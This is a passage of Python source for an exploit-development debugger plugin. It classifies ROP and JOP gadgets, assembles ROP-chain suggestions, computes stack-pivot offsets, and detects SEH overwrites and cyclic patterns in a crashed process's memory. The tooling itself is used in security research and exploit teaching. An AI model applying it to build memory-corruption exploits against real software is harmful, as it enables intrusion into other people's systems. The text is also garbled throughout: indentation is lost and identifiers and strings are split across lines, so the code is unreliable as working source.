dget(suggestions["empty " + reg])
blocktxt2 += "
0x"
+ toHex(clearptr)+", "+interestinggadgets[clearptr].strip()+" ("+MnPointer(clea
rptr).belongsTo()+")\n"
junk2size = junk2size +
getJunk(interestinggadgets[clearptr])-4
blocktxt2 += "
0x" + toHex(bptr)+",
"+interestinggadgets[bptr].strip()+" ("+MnPointer(bptr).belongsTo()+")\n"
junk2size = junk2size + getJunk(interest
inggadgets[bptr])-4
else:
negfound = False
if negfound:
blocktxt += blocktxt2
else:
blocktxt = ""
junksize = junksize + junk2size
return blocktxt,junksize
def getOffset(instructions):
offset = 0
instrparts = instructions.split("#")
retpart = instrparts[len(instrparts)-1].strip()
retparts = retpart.split(" ")
if len(retparts) > 1:
offset = hexStrToInt(retparts[1])
return offset
def getJunk(instructions):
junkpop = instructions.count("POP ") * 4
junkpush = instructions.count("PUSH ") * -4
junkpushad = instructions.count("PUSHAD ") * -32
junkpopad = instructions.count("POPAD") * 32
junkinc = instructions.count("INC ESP") * 1
junkdec = instructions.count("DEC ESP") * -1
junkesp = 0
if instructions.find("ADD ESP,") > -1:
instparts = instructions.split("#")
for part in instparts:
thisinstr = part.strip()
if thisinstr.startswith("ADD ESP,"):
value = thisinstr.split(",")
junkesp += hexStrToInt(value[1])
if instructions.find("SUB ESP,") > -1:
instparts = instructions.split("#")
for part in instparts:
thisinstr = part.strip()
if thisinstr.startswith("SUB ESP,"):
value = thisinstr.split(",")

junkesp -= hexStrToInt(value[1])
junk = junkpop + junkpush + junkpopad + junkpushad + junkesp
return junk
def createJunk(size,message="filler (compensate)",alignsize=0):
bytecnt = 0
dword = 0
junktxt = ""
while bytecnt < size:
dword = 0
junktxt += "
0x"
while dword < 4 and bytecnt < size :
junktxt += "41"
dword += 1
bytecnt += 1
junktxt += ","
junktxt += toSize("",alignsize + 4 - dword)
junktxt += " # "+message+"\n"
return junktxt
def getShortestGadget(chaintypedict):
shortest = 100
shortestptr = 0
shortestinstr = "A" * 1000
thischaindict = chaintypedict.copy()
#shuffle dict so returning ptrs would be different each time
while thischaindict:
typeptr, thisinstr = random.choice(thischaindict.items())
if thisinstr.startswith("# XOR") or thisinstr.startswith("# OR")
or thisinstr.startswith("# AD"):
thisinstr += "
"
# make sure we don prefer MOV or
XCHG
thiscount = thisinstr.count("#")
thischaindict.pop(typeptr)
if thiscount < shortest:
shortest = thiscount
shortestptr = typeptr
shortestinstr = thisinstr
else:
if thiscount == shortest:
if len(thisinstr) < len(shortestinstr):
shortest = thiscount
shortestptr = typeptr
shortestinstr = thisinstr
return shortestptr
def isInterestingGadget(instructions):
if isAsciiString(instructions):
interesting = [
"POP E", "XCHG E", "LEA E", "PUS
H E", "XOR E", "AND E", "NEG E",
"OR E", "ADD E", "SUB E", "INC E
", "DEC E", "POPAD", "PUSHAD",
"SUB A", "ADD A", "NOP", "ADC E"
,
"SUB BH", "SUB BL", "ADD BH", "A
DD BL",
"SUB CH", "SUB CL", "ADD CH", "A
DD CL",

"SUB DH", "SUB DL", "ADD DH", "A


DD DL",
"MOV E", "CLC", "CLD", "FS:", "F
PA", "TEST "
]
notinteresting = [ "MOV ESP,EBP", "LEA ESP"
]
subregs = ["EAX","ECX","EDX","EBX","EBP","ESI","EDI"]
regs = dbglib.Registers32BitsOrder
individual = instructions.split("#")
cnt = 0
allgood = True
toskip = False
while (cnt < len(individual)-1) and allgood:
# do not check l
ast one, which is the ending instruction
thisinstr = individual[cnt].strip().upper()
if thisinstr != "":
toskip = False
foundinstruction = False
for notinterest in notinteresting:
if thisinstr.find(notinterest) > -1:
toskip= True
if not toskip:
for interest in interesting:
if thisinstr.find(interest) > -1
:
foundinstruction = True
if not foundinstruction:
#check the conditional instructi
ons
if thisinstr.find("MOV DWORD PTR
DS:[E") > -1:
thisinstrparts = thisins
tr.split(",")
if len(thisinstrparts) >
1:
if thisinstrpart
s[1] in regs:
foundins
truction = True
# other exceptions - don't combi
ne ADD BYTE or ADD DWORD with XCHG EAX,ESI - EAX may not be writeable
#if instructions.strip().startsw
ith("# XCHG") and (thisinstr.find("ADD DWORD") > -1 or thisinstr.find("ADD BYTE"
) > -1) and not instructions.strip().startswith("# XCHG EAX,ESI") :
# allow - tricky case, b
ut sometimes needed
#
foundinstruction = True
allgood = foundinstruction
else:
allgood = False
cnt += 1
return allgood
return False
def isInterestingJopGadget(instructions):
interesting = [
"POP E", "XCHG E", "LEA E", "PUSH E", "X
OR E", "AND E", "NEG E",
"OR E", "ADD E", "SUB E", "INC E", "DEC
E", "POPAD", "PUSHAD",

"SUB A", "ADD A", "NOP", "ADC E",


"SUB BH", "SUB BL", "ADD BH", "ADD BL",
"SUB CH", "SUB CL", "ADD CH", "ADD CL",
"SUB DH", "SUB DL", "ADD DH", "ADD DL",
"MOV E", "CLC", "CLD", "FS:", "FPA"
]
notinteresting = [ "MOV ESP,EBP", "LEA ESP"
]
regs = dbglib.Registers32BitsOrder
individual = instructions.split("#")
cnt = 0
allgood = True
popfound = False
toskip = False
# what is the jmp instruction ?
lastinstruction = individual[len(individual)-1].replace("[","").replace(
"+"," ").replace("]","").strip()
jmp = lastinstruction.split(' ')[1].strip().upper().replace(" ","")
regs = ["EAX","EBX","ECX","EDX","ESI","EDI","EBP","ESP"]
regs.remove(jmp)
if jmp != "ESP":
if instructions.find("POP "+jmp) > -1:
popfound=True
else:
for reg in regs:
poploc = instructions.find("POP "+reg)
if (poploc > -1):
if (instructions.find("MOV "+reg+","+jmp
) > poploc) or (instructions.find("XCHG "+reg+","+jmp) > poploc) or (instruction
s.find("XCHG "+jmp+","+reg) > poploc):
popfound = True
allgood = popfound
return allgood
def readGadgetsFromFile(filename):
"""
Reads a mona/msf generated rop file
Arguments :
filename - the full path + filename of the source file
Return :
dictionary containing the gadgets (grouped by ending type)
"""
readopcodes = {}
srcfile = open(filename,"rb")
content = srcfile.readlines()
srcfile.close()
msffiledetected = False
#what kind of file do we have
for thisLine in content:
if thisLine.find("mod:") > -1 and thisLine.find("ver:") > -1 and
thisLine.find("VA") > -1:
msffiledetected = True
break
if msffiledetected:
dbg.log("[+] Importing MSF ROP file...")

addrline = 0
ending = ""
thisinstr = ""
thisptr = ""
for thisLine in content:
if thisLine.find("[addr:") == 0:
thisLineparts = thisLine.split("]")
if addrline == 0:
thisptr = hexStrToInt(thisLineparts[0].r
eplace("[addr: ",""))
thisLineparts = thisLine.split(" ")
thisinstrpart = thisLineparts[len(thisLineparts)
-1].upper().strip()
if thisinstrpart != "":
thisinstr += " # " + thisinstrpart
ending = thisinstrpart
addrline += 1
else:
addrline = 0
if thisptr != "" and ending != "" and thisinstr
!= "":
if not ending in readopcodes:
readopcodes[ending] = [thisptr,t
hisinstr]
else:
readopcodes[ending] += ([thisptr
,thisinstr])
thisptr = ""
ending = ""
thisinstr = ""
else:
dbg.log("[+] Importing Mona legacy ROP file...")
for thisLine in content:
if isAsciiString(thisLine.replace("\r","").replace("\n",
"")):
refpointer,instr = splitToPtrInstr(thisLine)
if refpointer != -1:
#get ending
instrparts = instr.split("#")
ending = instrparts[len(instrparts)-1]
if not ending in readopcodes:
readopcodes[ending] = [refpointe
r,instr]
else:
readopcodes[ending] += ([refpoin
ter,instr])
return readopcodes
def isGoodGadgetPtr(gadget,criteria):
if gadget in CritCache:
return CritCache[gadget]
else:
gadgetptr = MnPointer(gadget)
status = meetsCriteria(gadgetptr,criteria)
CritCache[gadget] = status
return status
def getStackPivotDistance(gadget,distance=0):
offset = 0

distance_str = str(distance).lower()
mindistance = 0
maxdistance = 0
if "," not in distance_str:
# only mindistance
maxdistance = 99999999
mindistance = to_int(distance_str)
else:
mindistance, maxdistance = distance_str.split(",")
mindistance = to_int(mindistance)
maxdistance = to_int(maxdistance)
gadgets = filter(lambda x: x.strip(), gadget.split(" # "))
for g in gadgets:
if "ADD ESP," in g:
offset += hexStrToInt(g.split(",")[1])
elif "SUB ESP," in g:
offset += hexStrToInt(g.split(",")[1])
elif "INC ESP" in g:
offset += 1
elif "DEC ESP" in g:
offset -= 1
elif "POP " in g:
offset += 4
elif "PUSH " in g:
offset -= 4
elif "POPAD" in g:
offset += 32
elif "PUSHAD" in g:
offset -= 32
elif ("DWORD PTR" in g or "[" in g) and "FS" not in g:
return 0
if mindistance <= offset and offset <= maxdistance:
return offset
else:
return 0
def isGoodGadgetInstr(instruction):
if isAsciiString(instruction):
forbidden = [
"???", "LEAVE", "JMP ", "CALL ", "JB ",
"JL ", "JE ", "JNZ ",
"JGE ", "JNS ","SAL ", "LOOP", "LOCK", "
BOUND", "SAR", "IN ",
"OUT ", "RCL", "RCR", "ROL", "ROR", "SHL
", "SHR", "INT", "JECX",
"JNP", "JPO", "JPE", "JCXZ", "JA", "JB",
"JNA", "JNB", "JC", "JNC",
"JG", "JLE", "MOVS", "CMPS", "SCAS", "LO
DS", "STOS", "REP", "REPE",
"REPZ", "REPNE", "REPNZ", "LDS", "FST",
"FIST", "FMUL", "FDIVR",
"FSTP", "FST", "FLD", "FDIV", "FXCH", "J
S ", "FIDIVR", "SBB",
"SALC", "ENTER", "CWDE", "FCOM", "LAHF",
"DIV", "JO", "OUT", "IRET",
"FILD", "RETF","HALT","HLT","AAM","FINIT

","INT3"
]
for instr in forbidden:
if instruction.upper().find(instr) > -1:
return False
return True
return False
def isGoodJopGadgetInstr(instruction):
if isAsciiString(instruction):
forbidden = [
"???", "LEAVE", "RETN", "CALL ", "JB ",
"JL ", "JE ", "JNZ ",
"JGE ", "JNS ","SAL ", "LOOP", "LOCK", "
BOUND", "SAR", "IN ",
"OUT ", "RCL", "RCR", "ROL", "ROR", "SHL
", "SHR", "INT", "JECX",
"JNP", "JPO", "JPE", "JCXZ", "JA", "JB",
"JNA", "JNB", "JC", "JNC",
"JG", "JLE", "MOVS", "CMPS", "SCAS", "LO
DS", "STOS", "REP", "REPE",
"REPZ", "REPNE", "REPNZ", "LDS", "FST",
"FIST", "FMUL", "FDIVR",
"FSTP", "FST", "FLD", "FDIV", "FXCH", "J
S ", "FIDIVR", "SBB",
"SALC", "ENTER", "CWDE", "FCOM", "LAHF",
"DIV", "JO", "OUT", "IRET",
"FILD", "RETF","HALT","HLT","AAM","FINIT
"
]
for instr in forbidden:
if instruction.upper().find(instr) > -1:
return False
return True
return False
def isGadgetEnding(instruction,endings,verbosity=False):
for ending in endings:
if instruction.lower().find(ending.lower()) > -1:
return True
return False
def getRopSuggestion(ropchains,allchains):
suggestions={}
# pushad
# ======================
regs = ["EAX","EBX","ECX","EDX","EBP","ESI","EDI"]
pushad_allowed = [ "INC ","DEC ","OR ","XOR ","LEA ","ADD ","SUB ", "PUS
HAD", "RETN ", "NOP", "POP ","PUSH EAX","PUSH EDI","ADC ","FPATAN","MOV E" , "TE
ST ", "CMP "]
for r in regs:
pushad_allowed.append("MOV "+r+",DWORD PTR DS:[ESP")
#stack
pushad_allowed.append("MOV "+r+",DWORD PTR SS:[ESP")
#stack
pushad_allowed.append("MOV "+r+",DWORD PTR DS:[ESI")
#virtual
protect
pushad_allowed.append("MOV "+r+",DWORD PTR SS:[ESI")
#virtual
protect
pushad_allowed.append("MOV "+r+",DWORD PTR DS:[EBP")
#stack
pushad_allowed.append("MOV "+r+",DWORD PTR SS:[EBP")
#stack
for r2 in regs:

pushad_allowed.append("MOV "+r+","+r2)
pushad_allowed.append("XCHG "+r+","+r2)
pushad_allowed.append("LEA "+r+","+r2)
pushad_notallowed = ["POP ESP","POPAD","PUSH ESP","MOV ESP","ADD ESP", "
INC ESP","DEC ESP","XOR ESP","LEA ESP","SS:","DS:"]
for gadget in ropchains:
gadgetinstructions = ropchains[gadget].strip()
if gadgetinstructions.find("PUSHAD") == 2:
# does chain only contain allowed instructions
# one pop is allowed, as long as it's not pop esp
# push edi and push eax are allowed too (ropnop)
if gadgetinstructions.count("POP ") < 2 and suggestedGad
getCheck(gadgetinstructions,pushad_allowed,pushad_notallowed):
toadd={}
toadd[gadget] = gadgetinstructions
if not "pushad" in suggestions:
suggestions["pushad"] = toadd
else:
suggestions["pushad"] = mergeOpcodes(sug
gestions["pushad"],toadd)
# pick up a pointer
# =========================
pickedupin = []
resulthash = ""
allowedpickup = True
for r in regs:
for r2 in regs:
pickup_allowed = ["NOP","RETN ","INC ","DEC ","OR ","XOR
","MOV ","LEA ","ADD ","SUB ","POP","ADC ","FPATAN", "TEST ", "CMP "]
pickup_target = []
pickup_notallowed = []
pickup_allowed.append("MOV "+r+",DWORD PTR SS:["+r2+"]")
pickup_allowed.append("MOV "+r+",DWORD PTR DS:["+r2+"]")
pickup_target.append("MOV "+r+",DWORD PTR SS:["+r2+"]")
pickup_target.append("MOV "+r+",DWORD PTR DS:["+r2+"]")
pickup_notallowed = ["POP "+r, "MOV "+r+",E", "LEA "+r+"
,E", "MOV ESP", "XOR ESP", "LEA ESP", "MOV DWORD PTR", "DEC ESP"]
for gadget in ropchains:
gadgetinstructions = ropchains[gadget].strip()
allowedpickup = False
for allowed in pickup_target:
if gadgetinstructions.find(allowed) == 2
and gadgetinstructions.count("DWORD PTR") == 1:
allowedpickup = True
break
if allowedpickup:
if suggestedGadgetCheck(gadgetinstructio
ns,pickup_allowed,pickup_notallowed):
toadd={}
toadd[gadget] = gadgetinstructio
ns
resulthash = "pickup pointer int
o "+r.lower()
if not resulthash in suggestions
:
suggestions[resulthash]
= toadd
else:
suggestions[resulthash]
= mergeOpcodes(suggestions[resulthash],toadd)

if not r in pickedupin:
pickedupin.append(r)
if len(pickedupin) == 0:
for r in regs:
for r2 in regs:
pickup_allowed = ["NOP","RETN ","INC ","DEC ","O
R ","XOR ","MOV ","LEA ","ADD ","SUB ","POP", "ADC ","FPATAN", "TEST ", "CMP "]
pickup_target = []
pickup_notallowed = []
pickup_allowed.append("MOV "+r+",DWORD PTR SS:["
+r2+"+")
pickup_allowed.append("MOV "+r+",DWORD PTR DS:["
+r2+"+")
pickup_target.append("MOV "+r+",DWORD PTR SS:["+
r2+"+")
pickup_target.append("MOV "+r+",DWORD PTR DS:["+
r2+"+")
pickup_notallowed = ["POP "+r, "MOV "+r+",E", "L
EA "+r+",E", "MOV ESP", "XOR ESP", "LEA ESP", "MOV DWORD PTR"]
for gadget in ropchains:
gadgetinstructions = ropchains[gadget].s
trip()
allowedpickup = False
for allowed in pickup_target:
if gadgetinstructions.find(allow
ed) == 2 and gadgetinstructions.count("DWORD PTR") == 1:
allowedpickup = True
break
if allowedpickup:
if suggestedGadgetCheck(gadgetin
structions,pickup_allowed,pickup_notallowed):
toadd={}
toadd[gadget] = gadgetin
structions
resulthash = "pickup poi
nter into "+r.lower()
if not resulthash in sug
gestions:
suggestions[resu
lthash] = toadd
else:
suggestions[resu
lthash] = mergeOpcodes(suggestions[resulthash],toadd)
if not r in pickedupin:
pickedupin.appen
d(r)
# move pointer into another pointer
# =================================
for reg in regs:
#from
for reg2 in regs:
#to
if reg != reg2:
moveptr_allowed = ["NOP","RETN","POP ","INC ","D
EC ","OR ","XOR ","ADD ","PUSH ","AND ", "XCHG ", "ADC ","FPATAN", "TEST ", "CMP
"]
moveptr_notallowed = ["POP "+reg2,"MOV "+reg2+",
","XCHG "+reg2+",","XOR "+reg2,"LEA "+reg2+",","AND "+reg2,"DS:","SS:","PUSHAD",
"POPAD", "DEC ESP"]
suggestions = mergeOpcodes(suggestions,getRegToR
eg("MOVE",reg,reg2,ropchains,moveptr_allowed,moveptr_notallowed))
# if we didn't find any, expand the search

if not ("move " + reg + " -> " + reg2).lower() i


n suggestions:
moveptr_allowed = ["NOP","RETN","POP ","
INC ","DEC ","OR ","XOR ","ADD ","PUSH ","AND ", "XCHG ", "ADC ","FPATAN", "TEST
", "CMP "]
moveptr_notallowed = ["POP "+reg2,"MOV "
+reg2+",","XCHG "+reg2+",","XOR "+reg2,"LEA "+reg2+",","AND "+reg2,"PUSHAD","POP
AD", "DEC ESP"]
suggestions = mergeOpcodes(suggestions,g
etRegToReg("MOVE",reg,reg2,ropchains,moveptr_allowed,moveptr_notallowed))
reg2 = "ESP"
#special case
if reg != reg2:
moveptr_allowed = ["NOP","RETN","POP ","INC ","DEC ","OR
","XOR ","ADD ","PUSH ","AND ", "MOV ", "XCHG ", "ADC ", "TEST ", "CMP "]
moveptr_notallowed = ["ADD "+reg2, "ADC "+reg2, "POP "+r
eg2,"MOV "+reg2+",","XCHG "+reg2+",","XOR "+reg2,"LEA "+reg2+",","AND "+reg2,"DS
:","SS:","PUSHAD","POPAD", "DEC ESP"]
suggestions = mergeOpcodes(suggestions,getRegToReg("MOVE
",reg,reg2,ropchains,moveptr_allowed,moveptr_notallowed))
# xor pointer into another pointer
# =================================
for reg in regs:
#from
for reg2 in regs:
#to
if reg != reg2:
xorptr_allowed = ["NOP","RETN","POP ","INC ","DE
C ","OR ","XOR ","ADD ","PUSH ","AND ", "XCHG ", "ADC ","FPATAN", "TEST ", "CMP
"]
xorptr_notallowed = ["POP "+reg2,"MOV "+reg2+","
,"XCHG "+reg2+",","XOR "+reg2,"LEA "+reg2+",","AND "+reg2,"DS:","SS:","PUSHAD","
POPAD", "DEC ESP"]
suggestions = mergeOpcodes(suggestions,getRegToR
eg("XOR",reg,reg2,ropchains,xorptr_allowed,xorptr_notallowed))
# get stack pointer
# =================
for reg in regs:
moveptr_allowed = ["NOP","RETN","POP ","INC ","DEC ","OR ","XOR
","ADD ","PUSH ","AND ","MOV ", "ADC ","FPATAN", "TEST ", "CMP "]
moveptr_notallowed = ["POP ESP","MOV ESP,","XCHG ESP,","XOR ESP"
,"LEA ESP,","AND ESP", "ADD ESP", "],","SUB ESP","OR ESP"]
moveptr_notallowed.append("POP "+reg)
moveptr_notallowed.append("MOV "+reg)
moveptr_notallowed.append("XCHG "+reg)
moveptr_notallowed.append("XOR "+reg)
moveptr_notallowed.append("LEA "+reg)
moveptr_notallowed.append("AND "+reg)
suggestions = mergeOpcodes(suggestions,getRegToReg("MOVE","ESP",
reg,allchains,moveptr_allowed,moveptr_notallowed))
# add something to register
# =========================
for reg in regs:
#from
for reg2 in regs:
#to
if reg != reg2:
moveptr_allowed = ["NOP","RETN","POP ","INC ","D
EC ","OR ","XOR ","ADD ","PUSH ","AND ", "ADC ","FPATAN", "TEST ", "CMP "]
moveptr_notallowed = ["POP "+reg2,"MOV "+reg2+",
","XCHG "+reg2+",","XOR "+reg2,"LEA "+reg2+",","AND "+reg2,"DS:","SS:", "DEC ESP
"]

suggestions = mergeOpcodes(suggestions,getRegToR
eg("ADD",reg,reg2,ropchains,moveptr_allowed,moveptr_notallowed))
# add value to register
# =========================
for reg in regs:
#to
moveptr_allowed = ["NOP","RETN","POP ","INC ","DEC ","OR ","XOR
","ADD ","PUSH ","AND ", "ADC ", "SUB ","FPATAN", "TEST ", "CMP "]
moveptr_notallowed = ["POP "+reg,"MOV "+reg+",","XCHG "+reg+",",
"XOR "+reg,"LEA "+reg+",","DS:","SS:", "DEC ESP"]
suggestions = mergeOpcodes(suggestions,getRegToReg("ADDVAL",reg,
reg,ropchains,moveptr_allowed,moveptr_notallowed))
#inc reg
# =======
for reg in regs:
moveptr_allowed = ["NOP","RETN","POP ","INC " + reg,"DEC ","OR "
,"XOR ","ADD ","PUSH ","AND ", "ADC ", "SUB ","FPATAN", "TEST ", "CMP "]
moveptr_notallowed = ["POP "+reg,"MOV "+reg+",","XCHG "+reg+",",
"XOR "+reg,"LEA "+reg+",","DS:","SS:", "DEC ESP", "DEC "+reg]
suggestions = mergeOpcodes(suggestions,getRegToReg("INC",reg,reg
,ropchains,moveptr_allowed,moveptr_notallowed))
#dec reg
# =======
for reg in regs:
moveptr_allowed = ["NOP","RETN","POP ","DEC " + reg,"INC ","OR "
,"XOR ","ADD ","PUSH ","AND ", "ADC ", "SUB ","FPATAN", "TEST ", "CMP "]
moveptr_notallowed = ["POP "+reg,"MOV "+reg+",","XCHG "+reg+",",
"XOR "+reg,"LEA "+reg+",","DS:","SS:", "DEC ESP", "INC "+reg]
suggestions = mergeOpcodes(suggestions,getRegToReg("DEC",reg,reg
,ropchains,moveptr_allowed,moveptr_notallowed))
#popad reg
# =======
popad_allowed = ["POPAD","RETN","INC ","DEC ","OR ","XOR ","ADD ","AND "
, "ADC ", "SUB ","FPATAN","POP ", "TEST ", "CMP "]
popad_notallowed = ["POP ESP","PUSH ESP","MOV ESP","ADD ESP", "INC ESP",
"DEC ESP","XOR ESP","LEA ESP","SS:","DS:"]
for gadget in ropchains:
gadgetinstructions = ropchains[gadget].strip()
if gadgetinstructions.find("POPAD") == 2:
if suggestedGadgetCheck(gadgetinstructions,popad_allowed
,popad_notallowed):
toadd={}
toadd[gadget] = gadgetinstructions
if not "popad" in suggestions:
suggestions["popad"] = toadd
else:
suggestions["popad"] = mergeOpcodes(sugg
estions["popad"],toadd)
# pop
# ===
for reg in regs:
pop_allowed = "POP "+reg+" # RETN"
pop_notallowed = []
for gadget in ropchains:
gadgetinstructions = ropchains[gadget].strip()
if gadgetinstructions.find(pop_allowed) == 2:
resulthash = "pop "+reg.lower()
toadd = {}
toadd[gadget] = gadgetinstructions

if not resulthash in suggestions:


suggestions[resulthash] = toadd
else:
suggestions[resulthash] = mergeOpcodes(s
uggestions[resulthash],toadd)
# check if we have a pop for each reg
for reg in regs:
r = reg.lower()
if not "pop "+r in suggestions:
pop_notallowed = ["MOV "+reg+",","XCHG "+reg+",","XOR "+
reg,"LEA "+reg+",","DS:","SS:", "DEC ESP", "DEC "+reg, "INC " + reg,"PUSH ","XOR
"+reg]
for rchain in ropchains:
rparts = ropchains[rchain].strip().split("#")
chainok = False
if rparts[1].strip() == "POP " + reg:
chainok = True
if chainok:
for rpart in rparts:
thisinstr = rpart.strip()
for pna in pop_notallowed:
if thisinstr.find(pna) >
-1:
chainok = False
break
if chainok:
toadd = {}
toadd[rchain] = thisinstr
if not "pop " + r in suggestions:
suggestions["pop " + r] = toadd
else:
suggestions["pop " + r] = mergeO
pcodes(suggestions["pop " + r],toadd)
# neg
# ===
for reg in regs:
neg_allowed = "NEG "+reg+" # RETN"
neg_notallowed = []
for gadget in ropchains:
gadgetinstructions = ropchains[gadget].strip()
if gadgetinstructions.find(neg_allowed) == 2:
resulthash = "neg "+reg.lower()
toadd = {}
toadd[gadget] = gadgetinstructions
if not resulthash in suggestions:
suggestions[resulthash] = toadd
else:
suggestions[resulthash] = mergeOpcodes(s
uggestions[resulthash],toadd)
# empty
# =====
for reg in regs:
empty_allowed = ["XOR "+reg+","+reg+" # RETN","MOV "+reg+",FFFFF
FFF # INC "+reg+" # RETN", "SUB "+reg+","+reg+" # RETN", "PUSH 0 # POP "+reg + "
# RETN", "IMUL "+reg+","+reg+",0 # RETN"]
empty_notallowed = []
for gadget in ropchains:
gadgetinstructions = ropchains[gadget].strip()
for empty in empty_allowed:

if gadgetinstructions.find(empty) == 2:
resulthash = "clear "+reg.lower()
toadd = {}
toadd[gadget] = gadgetinstructions
if not resulthash in suggestions:
suggestions[resulthash] = toadd
else:
suggestions[resulthash] = mergeO
pcodes(suggestions[resulthash],toadd)
return suggestions
def getRegToReg(type,fromreg,toreg,ropchains,moveptr_allowed,moveptr_notallowed)
:
moveptr = []
instrwithout = ""
toreg = toreg.upper()
srcval = False
resulthash = ""
musthave = ""
if type == "MOVE":
moveptr.append("MOV "+toreg+","+fromreg)
moveptr.append("LEA "+toreg+","+fromreg)
#if not (fromreg == "ESP" or toreg == "ESP"):
moveptr.append("XCHG "+fromreg+","+toreg)
moveptr.append("XCHG "+toreg+","+fromreg)
moveptr.append("PUSH "+fromreg)
moveptr.append("ADD "+toreg+","+fromreg)
moveptr.append("ADC "+toreg+","+fromreg)
moveptr.append("XOR "+toreg+","+fromreg)
if type == "XOR":
moveptr.append("XOR "+toreg+","+fromreg)
if type == "ADD":
moveptr.append("ADD "+toreg+","+fromreg)
moveptr.append("ADC "+toreg+","+fromreg)
moveptr.append("XOR "+toreg+","+fromreg)
if type == "ADDVAL":
moveptr.append("ADD "+toreg+",")
moveptr.append("ADC "+toreg+",")
moveptr.append("XOR "+toreg+",")
moveptr.append("SUB "+toreg+",")
srcval = True
resulthash = "add value to " + toreg
if type == "INC":
moveptr.append("INC "+toreg)
resulthash = "inc " + toreg
if type == "DEC":
moveptr.append("DEC "+toreg)
resulthash = "dec " + toreg
results = {}
if resulthash == "":
resulthash = type +" "+fromreg+" -> "+toreg
resulthash = resulthash.lower()
for tocheck in moveptr:
origtocheck = tocheck
for gadget in ropchains:
gadgetinstructions = ropchains[gadget].strip()
if gadgetinstructions.find(tocheck) == 2:
moveon = True
if srcval:
#check if src is a value

inparts = gadgetinstructions.split(",")
if len(inparts) > 1:
subinparts = inparts[1].split("
")
if isHexString(subinparts[0].str
ip()):
tocheck = tocheck + subi
nparts[0].strip()
else:
moveon = False
if moveon:
instrwithout = gadgetinstructions.replac
e(tocheck,"")
if tocheck == "PUSH "+fromreg:
popreg = instrwithout.find("POP
"+toreg)
popall = instrwithout.find("POP"
)
#make sure pop matches push
nrpush = gadgetinstructions.coun
t("PUSH ")
nrpop = gadgetinstructions.count
("POP ")
pushpopmatch = False
if nrpop >= nrpush:
pushes = []
pops = []
ropparts = gadgetinstruc
tions.split(" # ")
pushindex = 0
popindex = 0
cntpush = 0
cntpop = nrpush
for parts in ropparts:
if parts.strip()
!= "":
if parts
.strip().find("PUSH ") > -1:
pushes.append(parts)
if parts.strip() == "PUSH "+fromreg:
cntpush += 1
if parts
.strip().find("POP ") > -1:
pops.append(parts)
if parts.strip() == "POP "+toreg:
cntpop -= 1
if cntpush == cntpop:
#dbg.log("%s : P
OPS : %d, PUSHES : %d, pushindex : %d, popindex : %d" % (gadgetinstructions,len(
pops),len(pushes),pushindex,popindex))
#dbg.log("push a
t %d, pop at %d" % (cntpush,cntpop))
pushpopmatch = T
rue

if (popreg == popall) and instrw


ithout.count("POP "+toreg) == 1 and pushpopmatch:
toadd={}
toadd[gadget] = gadgetin
structions
if not resulthash in res
ults:
results[resultha
sh] = toadd
else:
results[resultha
sh] = mergeOpcodes(results[resulthash],toadd)
else:
if suggestedGadgetCheck(instrwit
hout,moveptr_allowed,moveptr_notallowed):
toadd={}
toadd[gadget] = gadgetin
structions
if not resulthash in res
ults:
results[resultha
sh] = toadd
else:
results[resultha
sh] = mergeOpcodes(results[resulthash],toadd)
tocheck = origtocheck
return results
def suggestedGadgetCheck(instructions,allowed,notallowed):
individual = instructions.split("#")
cnt = 0
allgood = True
toskip = False
while (cnt < len(individual)-1) and allgood:
# do not check last one,
which is the ending instruction
thisinstr = individual[cnt].upper()
if thisinstr.strip() != "":
toskip = False
foundinstruction = False
for notok in notallowed:
if thisinstr.find(notok) > -1:
toskip= True
if not toskip:
for ok in allowed:
if thisinstr.find(ok) > -1:
foundinstruction = True
allgood = foundinstruction
else:
allgood = False
cnt += 1
return allgood
def dumpMemoryToFile(address,size,filename):
"""
Dump 'size' bytes of memory to a file
Arguments:
address - the address where to read
size
- the number of bytes to read
filename - the name of the file where to write the file

Return:
Boolean - True if the write succeeded
"""
WRITE_SIZE = 10000
dbg.log("Dumping %d bytes from address 0x%08x to %s..." % (size, address
, filename))
out = open(filename,'wb')
# write by increments of 10000 bytes
current = 0
while current < size :
bytesToWrite = size - current
if ( bytesToWrite >= WRITE_SIZE):
bytes = dbg.readMemory(address+current,WRITE_SIZE)
out.write(bytes)
current += WRITE_SIZE
else:
bytes = dbg.readMemory(address+current,bytesToWrite)
out.write(bytes)
current += bytesToWrite
out.close()
return True
def checkSEHOverwrite(address, nseh, seh):
"""
Checks if the current SEH record is overwritten
with a cyclic pattern
Input : address of SEH record, nseh value, seh value
Returns : array. Non empty array = SEH is overwritten
Array contents :
[0] : type (normal, upper, lower, unicode)
[1] : offset to nseh
"""
pattypes = ["normal","upper","lower","unicode"]
overwritten = []
global silent
silent = True
fullpattern = createPattern(50000,{})
for pattype in pattypes:
regpattern = fullpattern
hexpat = toHex(seh)
hexpat = toAscii(hexpat[6]+hexpat[7])+toAscii(hexpat[4]+hexpat[5
])+toAscii(hexpat[2]+hexpat[3])+toAscii(hexpat[0]+hexpat[1])
factor = 1
goback = 4
if pattype == "upper":
regpattern = regpattern.upper()
if pattype == "lower":
regpattern = regpattern.lower()
if pattype == "unicode":
hexpat = dbg.readMemory(address,8)
hexpat = hexpat.replace('\x00','')
goback = 2
offset = regpattern.find(hexpat)-goback
thissize = 0

if offset > -1:


thepointer = MnPointer(address)
if thepointer.isOnStack():
thissize = getPatternLength(address+4,pattype)
if thissize > 0:
overwritten = [pattype,offset]
break
silent = False
return overwritten
def goFindMSP(distance = 0,args = {}):
"""
Finds all references to cyclic pattern in memory
Arguments:
None
Return:
Dictonary with results of the search operation
"""
results = {}
regs = dbg.getRegs()
criteria = {}
criteria["accesslevel"] = "*"
tofile = ""
global silent
oldsilent = silent
silent=True
fullpattern = createPattern(50000,args)
factor = 1
#are we attached to an application ?
if dbg.getDebuggedPid() == 0:
dbg.log("*** Attach to an application, and trigger a crash with
a cyclic pattern ! ***",highlight=1)
return {}
#1. find beging of cyclic pattern in memory ?
patbegin = createPattern(6,args)
silent=oldsilent
pattypes = ["normal","unicode","lower","upper"]
if not silent:
dbg.log("[+] Looking for cyclic pattern in memory")
tofile += "[+] Looking for cyclic pattern in memory\n"
for pattype in pattypes:
dbg.updateLog()
searchPattern = []
#create search pattern
factor = 1
if pattype == "normal":
searchPattern.append([patbegin, patbegin])
if pattype == "unicode":
patbegin_unicode = ""
factor = 0.5

for pbyte in patbegin:


patbegin_unicode += pbyte + "\x00"
searchPattern.append([patbegin_unicode, patbegin_unicode
])
if pattype == "lower":
searchPattern.append([patbegin.lower(), patbegin.lower()
])
if pattype == "upper":
searchPattern.append([patbegin.upper(), patbegin.upper()
])
#search
